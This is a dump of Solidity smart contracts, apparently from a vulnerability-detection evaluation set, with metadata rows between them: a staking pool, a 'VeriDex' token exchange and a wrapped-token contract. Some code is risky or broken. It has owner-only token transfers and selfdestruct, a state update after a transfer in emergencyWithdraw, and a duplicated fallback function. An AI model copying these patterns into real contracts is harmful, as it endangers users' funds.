mapping (uint256 => mapping (address => UserInfo)) public userInfo;
uint256 public totalAllocPoint = 0;
uint256 public startBlock;
uint256 public bonusEndBlock;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
constructor(MDNToken _MDN,
uint256 _MDNPerBlock,
uint256 _startBlock,
uint256 _bonusEndBlock) public {
MDN = _MDN;
devaddr = msg.sender;
MDNPerBlock = _MDNPerBlock;
startBlock = _startBlock;
bonusEndBlock = _bonusEndBlock;
poolInfo.push(PoolInfo({
lpToken: _MDN,
allocPoint: 1000,
lastRewardBlock: startBlock,
accMDNPerShare: 0
}));
totalAllocPoint = 1000;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
function add(uint256 _allocPoint, IBEP20 _lpToken, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accMDNPerShare: 0
}));
updateStakingPool();
}
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
uint256 prevAllocPoint = poolInfo[_pid].allocPoint;
poolInfo[_pid].allocPoint = _allocPoint;
if (prevAllocPoint != _allocPoint) {
updateStakingPool();
}
}
function updateStakingPool() internal {
uint256 length = poolInfo.length;
uint256 points = 0;
for (uint256 pid = 1; pid < length; ++pid) {
points = points.add(poolInfo[pid].allocPoint);
}
if (points != 0) {
points = points.div(3);
totalAllocPoint = totalAllocPoint.sub(poolInfo[0].allocPoint).add(points);
poolInfo[0].allocPoint = points;
}
}
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
if (_to <= bonusEndBlock) {
return _to.sub(_from).mul(BONUS_MULTIPLIER);
} else if (_from >= bonusEndBlock) {
return _to.sub(_from);
} else {
return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add(_to.sub(bonusEndBlock));
}
}
function pendingMDN(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accMDNPerShare = pool.accMDNPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 MDNReward = multiplier.mul(MDNPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accMDNPerShare = accMDNPerShare.add(MDNReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accMDNPerShare).div(1e12).sub(user.rewardDebt);
}
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 MDNReward = multiplier.mul(MDNPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
MDN.mint(address(this), MDNReward);
pool.accMDNPerShare = pool.accMDNPerShare.add(MDNReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
function deposit(uint256 _pid, uint256 _amount) public {
require (_pid != 0, 'deposit MDN by staking');
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accMDNPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeMDNTransfer(msg.sender, pending);
}
}
if (_amount > 0) {
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accMDNPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
function withdraw(uint256 _pid, uint256 _amount) public {
require (_pid != 0, 'withdraw MDN by unstaking');
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accMDNPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeMDNTransfer(msg.sender, pending);
}
if(_amount > 0) {
uint256 fee = _amount.div(50);
uint256 spend = (_amount - fee);
user.amount = user.amount.sub(_amount);
pool.lpToken.safeTransfer(devaddr, fee);
pool.lpToken.safeTransfer(address(msg.sender), spend);
}
user.rewardDebt = user.amount.mul(pool.accMDNPerShare).div(1e12);
emit Withdraw(msg.sender, _pid, _amount);
}
function enterStaking(uint256 _amount) public {
PoolInfo storage pool = poolInfo[0];
UserInfo storage user = userInfo[0][msg.sender];
updatePool(0);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accMDNPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeMDNTransfer(msg.sender, pending);
}
}
if(_amount > 0) {
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accMDNPerShare).div(1e12);
emit Deposit(msg.sender, 0, _amount);
}
function leaveStaking(uint256 _amount) public {
PoolInfo storage pool = poolInfo[0];
UserInfo storage user = userInfo[0][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(0);
uint256 pending = user.amount.mul(pool.accMDNPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeMDNTransfer(msg.sender, pending);
}
if(_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
}
user.rewardDebt = user.amount.mul(pool.accMDNPerShare).div(1e12);
emit Withdraw(msg.sender, 0, _amount);
}
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
function safeMDNTransfer(address _to, uint256 _amount) internal {
uint256 MDNBal = MDN.balanceOf(address(this));
if (_amount > MDNBal) {
MDN.transfer(_to, MDNBal);
} else {
MDN.transfer(_to, _amount);
}
}
function dev(address _devaddr) public onlyOwner {
devaddr = _devaddr;
}
}
| 249,566 | 10,934 |
c6764a4144b82af6585de442bafb715cdc093995cb0ec43af4d2b7f2e9887aa0
| 17,045 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x6a1dfdbd527c826711de2906bb6641249aae61d2.sol
| 2,877 | 12,337 |
pragma solidity ^0.5.0;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0),"You can't transfer the ownership to this account");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Remote is Ownable, IERC20 {
using SafeMath for uint;
IERC20 internal _remoteToken;
address internal _remoteContractAddress;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveSpenderOnDex (address spender, uint256 value)
external onlyOwner returns (bool success) {
// NOTE Approve the spender on the Dex address
_remoteToken.approve(spender, value);
success = true;
}
function remoteTransferFrom (address from, address to, uint256 value) external onlyOwner returns (bool) {
return _remoteTransferFrom(from, to, value);
}
function setRemoteContractAddress (address remoteContractAddress)
external onlyOwner returns (bool success) {
_remoteContractAddress = remoteContractAddress;
_remoteToken = IERC20(_remoteContractAddress);
success = true;
}
function remoteBalanceOf(address owner) external view returns (uint256) {
return _remoteToken.balanceOf(owner);
}
function remoteTotalSupply() external view returns (uint256) {
return _remoteToken.totalSupply();
}
function remoteAllowance (address owner, address spender) external view returns (uint256) {
return _remoteToken.allowance(owner, spender);
}
function remoteBalanceOfDex () external view onlyOwner
returns(uint256 balance) {
balance = _remoteToken.balanceOf(address(this));
}
function remoteAllowanceOnMyAddress () public view
returns(uint256 myRemoteAllowance) {
myRemoteAllowance = _remoteToken.allowance(msg.sender, address(this));
}
function _remoteTransferFrom (address from, address to, uint256 value) internal returns (bool) {
return _remoteToken.transferFrom(from, to, value);
}
}
contract Dex is Remote {
event TokensPurchased(address owner, uint256 amountOfTokens, uint256 amountOfWei);
event TokensSold(address owner, uint256 amountOfTokens, uint256 amountOfWei);
event TokenPricesSet(uint256 sellPrice, uint256 buyPrice);
address internal _dexAddress;
uint256 public sellPrice = 200000000000;
uint256 public buyPrice = 650000000000;
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
/// @param newSellPrice Price the users can sell to the contract
/// @param newBuyPrice Price users can buy from the contract
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) public onlyOwner returns (bool success) {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
emit TokenPricesSet(sellPrice, buyPrice);
success = true;
}
function topUpEther() external payable {
// allow payable function to top up the contract
// without buying tokens.
}
function _purchaseToken (address sender, uint256 amountOfWei) internal returns (bool success) {
uint256 amountOfTokens = buyTokenExchangeAmount(amountOfWei);
uint256 dexTokenBalance = _remoteToken.balanceOf(_dexAddress);
require(dexTokenBalance >= amountOfTokens, "The VeriDex does not have enough tokens for this purchase.");
_remoteToken.transfer(sender, amountOfTokens);
emit TokensPurchased(sender, amountOfTokens, amountOfWei);
success = true;
}
function dexRequestTokensFromUser () external returns (bool success) {
// calculate remote allowance given to the contract on the senders address
// completed via the wallet
uint256 amountAllowed = _remoteToken.allowance(msg.sender, _dexAddress);
require(amountAllowed > 0, "No allowance has been set.");
uint256 amountBalance = _remoteToken.balanceOf(msg.sender);
require(amountBalance >= amountAllowed, "Your balance must be equal or more than your allowance");
uint256 amountOfWei = sellTokenExchangeAmount(amountAllowed);
uint256 dexWeiBalance = _dexAddress.balance;
uint256 dexTokenBalance = _remoteToken.balanceOf(_dexAddress);
require(dexWeiBalance >= amountOfWei, "Dex balance must be equal or more than your allowance");
_remoteTransferFrom(msg.sender, _dexAddress, amountAllowed);
_remoteToken.approve(_dexAddress, dexTokenBalance.add(amountAllowed));
// Send Ether back to user
msg.sender.transfer(amountOfWei);
emit TokensSold(msg.sender, amountAllowed, amountOfWei);
success = true;
}
function etherBalance() public view returns (uint256 etherValue) {
etherValue = _dexAddress.balance;
}
function withdrawBalance() public onlyOwner returns (bool success) {
msg.sender.transfer(_dexAddress.balance);
success = true;
}
function buyTokenExchangeAmount(uint256 numberOfWei) public view returns (uint256 tokensOut) {
tokensOut = numberOfWei.mul(10**18).div(buyPrice);
}
function sellTokenExchangeAmount(uint256 numberOfTokens) public view returns (uint256 weiOut) {
weiOut = numberOfTokens.mul(sellPrice).div(10**18);
}
}
contract VeriDex is Dex {
// User should not send tokens directly to the address
string public symbol;
string public name;
uint8 public decimals;
constructor (address remoteContractAddress)
public {
symbol = "VRDX";
name = "VeriDex";
decimals = 18;
_totalSupply = 20000000000 * 10**uint(decimals);
_remoteContractAddress = remoteContractAddress;
_remoteToken = IERC20(_remoteContractAddress);
_dexAddress = address(this);
balances[_owner] = _totalSupply;
emit Transfer(address(0), _owner, _totalSupply);
}
function() external payable {
// If Ether is sent to this address, send tokens.
require(_purchaseToken(msg.sender, msg.value), "Validation on purchase failed.");
}
function adminDoDestructContract() external onlyOwner {
selfdestruct(msg.sender);
}
function dexDetails() external view returns (address dexAddress,
address remoteContractAddress) {
dexAddress = _dexAddress;
remoteContractAddress = _remoteContractAddress;
}
function() payable external {
revert();
}
}
| 196,656 | 10,935 |
f4d3aa92f09b9594797515de6957f43e16db7b2d42af02df7476014da8603b46
| 30,315 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/c2/c217c07612029c3e0ab6200b1d9bed05c29584b3_wsSPA.sol
| 3,206 | 12,573 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IsSPA {
function index() external view returns (uint);
}
contract wsSPA is ERC20 {
using SafeERC20 for ERC20;
using Address for address;
using SafeMath for uint;
address public immutable sSPA;
constructor(address _sSPA) ERC20('Wrapped sSPA', 'wsSPA') {
require(_sSPA != address(0));
sSPA = _sSPA;
}
function wrap(uint _amount) external returns (uint) {
IERC20(sSPA).transferFrom(msg.sender, address(this), _amount);
uint value = sSPATowsSPA(_amount);
_mint(msg.sender, value);
return value;
}
function unwrap(uint _amount) external returns (uint) {
_burn(msg.sender, _amount);
uint value = wsSPATosSPA(_amount);
IERC20(sSPA).transfer(msg.sender, value);
return value;
}
function wsSPATosSPA(uint _amount) public view returns (uint) {
return _amount.mul(IsSPA(sSPA).index()).div(10 ** decimals());
}
function sSPATowsSPA(uint _amount) public view returns (uint) {
return _amount.mul(10 ** decimals()).div(IsSPA(sSPA).index());
}
}
| 333,689 | 10,936 |
a0bab37da3b56a8356d80778dfaf6fb946a00625423398107ec831887301effd
| 31,689 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/2a/2ab4da85dd839fcc95485597790524531ec8f935_StillRewardPool.sol
| 5,107 | 19,529 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
